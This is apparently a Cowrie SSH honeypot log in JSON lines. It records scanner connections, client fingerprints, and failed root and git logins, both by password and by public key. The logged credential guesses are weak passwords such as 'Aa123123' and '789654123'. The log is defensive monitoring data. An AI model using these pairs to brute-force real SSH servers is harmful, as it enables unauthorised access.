{"eventid":"cowrie.session.connect","src_ip":"92.118.39.196","src_port":37592,"dst_ip":"10.17.0.5","dst_port":22,"session":"36978f98e39c","protocol":"ssh","message":"New connection: 92.118.39.196:37592 (10.17.0.5:22) [session: 36978f98e39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:35.378162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:35.383102Z","src_ip":"92.118.39.196","session":"36978f98e39c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:35.482603Z","src_ip":"92.118.39.196","session":"36978f98e39c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:35.914817Z","src_ip":"92.118.39.196","session":"36978f98e39c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52238,"dst_ip":"159.203.135.109","dst_port":22,"session":"99f855bc25d1","protocol":"ssh","message":"New connection: 83.168.110.85:52238 (159.203.135.109:22) [session: 99f855bc25d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:36.743913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:36.748798Z","src_ip":"83.168.110.85","session":"99f855bc25d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:36.871750Z","src_ip":"83.168.110.85","session":"99f855bc25d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:37.234336Z","src_ip":"83.168.110.85","session":"99f855bc25d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:38.358418Z","src_ip":"83.168.110.85","session":"99f855bc25d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":45488,"dst_ip":"159.203.135.109","dst_port":22,"session":"42f165339535","protocol":"ssh","message":"New connection: 83.168.110.85:45488 (159.203.135.109:22) [session: 42f165339535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:46.987638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:46.993653Z","src_ip":"83.168.110.85","session":"42f165339535","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:47.117073Z","src_ip":"83.168.110.85","session":"42f165339535","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:47.490073Z","src_ip":"83.168.110.85","session":"42f165339535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:48.614407Z","src_ip":"83.168.110.85","session":"42f165339535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":50548,"dst_ip":"10.17.0.5","dst_port":22,"session":"38d5eb9f234c","protocol":"ssh","message":"New connection: 103.149.28.157:50548 (10.17.0.5:22) [session: 38d5eb9f234c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:49.789860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:49.795165Z","src_ip":"103.149.28.157","session":"38d5eb9f234c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:50.040275Z","src_ip":"103.149.28.157","session":"38d5eb9f234c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789654123","message":"login attempt [root/789654123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:50.776318Z","src_ip":"103.149.28.157","session":"38d5eb9f234c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:52.029129Z","src_ip":"103.149.28.157","session":"38d5eb9f234c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":57660,"dst_ip":"10.17.0.5","dst_port":22,"session":"756cc1811f2f","protocol":"ssh","message":"New connection: 149.56.241.206:57660 (10.17.0.5:22) [session: 756cc1811f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.118922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.123267Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.143030Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:6a:a4:e8:29:c6:48:17:eb:90:76:a0:a7:f6:66:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtcUcnFDwSBciZi0bj6ul4Tdq8GxSW94i+d6LEB+RTwovmBZd1vTRYi3hkiojGvpp2t7ThfrnKB1OCcg6Pi+HR5goTbzoX6MNB+qRBSeYpEUL7tZv9Cs0Fkrxye4XJlPAhBN2CX7+FUt55yFalC21swLuskZ0QiqgdcSiTWpdq3Sm7d2it7Hj2IYHM6T6myawS71a4XOhnDxfpnwuL+0/5I6ZHW7HWL02I+iYpdVgHIuz9GnIRdNS5NN35UptanNyTjscRZ02akPnHLd2JOGcbRQDjCraAez6Zcoa0h8sVVvflR+7PLmUiu++afCd78f7+buF1BG6K8ONPRn3DTh9r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:6a:a4:e8:29:c6:48:17:eb:90:76:a0:a7:f6:66:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.220793Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:6a:a4:e8:29:c6:48:17:eb:90:76:a0:a7:f6:66:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtcUcnFDwSBciZi0bj6ul4Tdq8GxSW94i+d6LEB+RTwovmBZd1vTRYi3hkiojGvpp2t7ThfrnKB1OCcg6Pi+HR5goTbzoX6MNB+qRBSeYpEUL7tZv9Cs0Fkrxye4XJlPAhBN2CX7+FUt55yFalC21swLuskZ0QiqgdcSiTWpdq3Sm7d2it7Hj2IYHM6T6myawS71a4XOhnDxfpnwuL+0/5I6ZHW7HWL02I+iYpdVgHIuz9GnIRdNS5NN35UptanNyTjscRZ02akPnHLd2JOGcbRQDjCraAez6Zcoa0h8sVVvflR+7PLmUiu++afCd78f7+buF1BG6K8ONPRn3DTh9r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.225930Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2d:bf:dd:47:53:c6:28:14:aa:55:85:9b:e7:0a:0f:06","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANbxBoL/QP3YoKQhiEs4v2oOV1eZctdB+0tOFZmqNP4QrbAo/Y+k+OBr9J3eljMHdie3D6btvZEYrWIqU4vBjyG23+H9W6MGcU3E+G4fEvj9dk+YWP2Si41x7WbzAkeIJX6KjwXxsIyeAqfpKOrydiYH+wLCxwRl0LPcUEmrZbHhAAAAFQDREVyefYkdN88V1+9iSr+pcXEqQwAAAIAfkZzmcbXUEVLjYWV0y/ForpijGR15pWybkQH5ZjVB5n5ye3nGzE0dz4mErjTRYxoJH0w0mj0TT7iq7kOx9gzbDRMGwyDPwc2yLi+WczkIlDKLoYnFkjSr4RuLr8uCnreBD3+ejJTLMf7W29FQesgUrX49wkjgSVio9IyUPsVsFwAAAIAL78dG2BnqzN2FWkrbP7jI5Hu4GIN7PCy5rczDLWmbHP5dE2E8ESAWvgLj2fG2X3WxuP0tafKeWIsezA2/UWrNPLokI1luS3y2TViDy+53wZoz8kdVFzmzinl7QTMtwIHW/OxigX0Qj+mFOWspceQZyrHbSNQ2WgitMv12kmApmQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2d:bf:dd:47:53:c6:28:14:aa:55:85:9b:e7:0a:0f:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.248506Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2d:bf:dd:47:53:c6:28:14:aa:55:85:9b:e7:0a:0f:06","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANbxBoL/QP3YoKQhiEs4v2oOV1eZctdB+0tOFZmqNP4QrbAo/Y+k+OBr9J3eljMHdie3D6btvZEYrWIqU4vBjyG23+H9W6MGcU3E+G4fEvj9dk+YWP2Si41x7WbzAkeIJX6KjwXxsIyeAqfpKOrydiYH+wLCxwRl0LPcUEmrZbHhAAAAFQDREVyefYkdN88V1+9iSr+pcXEqQwAAAIAfkZzmcbXUEVLjYWV0y/ForpijGR15pWybkQH5ZjVB5n5ye3nGzE0dz4mErjTRYxoJH0w0mj0TT7iq7kOx9gzbDRMGwyDPwc2yLi+WczkIlDKLoYnFkjSr4RuLr8uCnreBD3+ejJTLMf7W29FQesgUrX49wkjgSVio9IyUPsVsFwAAAIAL78dG2BnqzN2FWkrbP7jI5Hu4GIN7PCy5rczDLWmbHP5dE2E8ESAWvgLj2fG2X3WxuP0tafKeWIsezA2/UWrNPLokI1luS3y2TViDy+53wZoz8kdVFzmzinl7QTMtwIHW/OxigX0Qj+mFOWspceQZyrHbSNQ2WgitMv12kmApmQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.252787Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:6b:db:34:a7:08:aa:13:e3:03:07:20:03:42:da:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDApmfDo1z7bc5U8cQZ8E0RTp2vrfvO17UXyfpCl0m8quWZplrrhzrNfBrcshVnRHiV9RfjrXbCc+oNr5oGKBt4OLrBZY3M9Ij5ssmxGL8EjX4RBegiZ4nxztnp9VGaQQPb3qfyVs6rRF9OnEeON+EmmZ1fX8gksx/qPp9/guZt1+UPTzvTXHnAUlegOzId5xhbVPfRXf+7+z9Lh0gmRl83CwhVWAzpJqQl2Y4XWqbga3DY07uSrfjfmqs7sqMi2PRqfEqrAVOZyWH2eOTp7q7HCggLU0DxlqsRteLULL8f5K7FTQHS4P5NFJG+mGhm5BldZIRWUXvxtR4biNlug3aH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:6b:db:34:a7:08:aa:13:e3:03:07:20:03:42:da:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.274380Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:6b:db:34:a7:08:aa:13:e3:03:07:20:03:42:da:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDApmfDo1z7bc5U8cQZ8E0RTp2vrfvO17UXyfpCl0m8quWZplrrhzrNfBrcshVnRHiV9RfjrXbCc+oNr5oGKBt4OLrBZY3M9Ij5ssmxGL8EjX4RBegiZ4nxztnp9VGaQQPb3qfyVs6rRF9OnEeON+EmmZ1fX8gksx/qPp9/guZt1+UPTzvTXHnAUlegOzId5xhbVPfRXf+7+z9Lh0gmRl83CwhVWAzpJqQl2Y4XWqbga3DY07uSrfjfmqs7sqMi2PRqfEqrAVOZyWH2eOTp7q7HCggLU0DxlqsRteLULL8f5K7FTQHS4P5NFJG+mGhm5BldZIRWUXvxtR4biNlug3aH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.278962Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4c:1c:0e:de:f3:69:20:a0:75:c6:27:b6:0b:12:d3:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0dRxJxsalSO67FT72WFAZvKVRZqIahEGCqSKFCp1ElyJBHkYs3Me2b+9PrkKVwuL3wIZ4kPMhSbvuwc5pEOPXi5LTMkHoAsJANOgMtM1DJzd3EJ4NH9MY1p2tgK7metgaVd6zxMEoN3ONr+OwUvcq3o59qny+YcZbO62zmUQFVAmrKzhu99hT+y1W4VTG0on/8PsuCHUMvDNDA71dZdUPSmNCxck3AuInoHuM2jzdXCzxklBPzt2thSA2VOLabdudv2iNjaqm7IhvPBhHBOmcP7pWAD6ot8v9ZZV3XZ2MveLdKAN4o9o05o0V82EURex+/0l/BJ7a+fJsqghpvysRdTuk6oQIZduE0KesfUKTQqiVEikoeZju1YSmSj8Y8LmQaqA9yYJJkr9FTJ/+c2VpCOYBAoTF1R9LccVCfc1ql1CGLZQeFHE0fTCuguqVK5ANis4KhrhIUn6TLQIEROWX7wUKjlOyaOXcxbyrPlzz50/7GUqrjeLktrj+Lap9zY5o6RwMzUiUao2eo90NTo0jGYKrgxKDv5BgUej1E1hIQf4kxNd7FLJ6NqC7cM8I1fuiU1pHZwIOjEtOPaOgZSOTJGtPQg+WOLbTmgDSeGxrgpyy+wnYo459K8kl7hwRtxyFCW6Gk9dnK86d1YPwIkZaOqK1Axc8qGCzRU5tgunI5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4c:1c:0e:de:f3:69:20:a0:75:c6:27:b6:0b:12:d3:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.301198Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:1c:0e:de:f3:69:20:a0:75:c6:27:b6:0b:12:d3:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC0dRxJxsalSO67FT72WFAZvKVRZqIahEGCqSKFCp1ElyJBHkYs3Me2b+9PrkKVwuL3wIZ4kPMhSbvuwc5pEOPXi5LTMkHoAsJANOgMtM1DJzd3EJ4NH9MY1p2tgK7metgaVd6zxMEoN3ONr+OwUvcq3o59qny+YcZbO62zmUQFVAmrKzhu99hT+y1W4VTG0on/8PsuCHUMvDNDA71dZdUPSmNCxck3AuInoHuM2jzdXCzxklBPzt2thSA2VOLabdudv2iNjaqm7IhvPBhHBOmcP7pWAD6ot8v9ZZV3XZ2MveLdKAN4o9o05o0V82EURex+/0l/BJ7a+fJsqghpvysRdTuk6oQIZduE0KesfUKTQqiVEikoeZju1YSmSj8Y8LmQaqA9yYJJkr9FTJ/+c2VpCOYBAoTF1R9LccVCfc1ql1CGLZQeFHE0fTCuguqVK5ANis4KhrhIUn6TLQIEROWX7wUKjlOyaOXcxbyrPlzz50/7GUqrjeLktrj+Lap9zY5o6RwMzUiUao2eo90NTo0jGYKrgxKDv5BgUej1E1hIQf4kxNd7FLJ6NqC7cM8I1fuiU1pHZwIOjEtOPaOgZSOTJGtPQg+WOLbTmgDSeGxrgpyy+wnYo459K8kl7hwRtxyFCW6Gk9dnK86d1YPwIkZaOqK1Axc8qGCzRU5tgunI5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:57:54.306799Z","src_ip":"149.56.241.206","session":"756cc1811f2f","protocol":"ssh"}
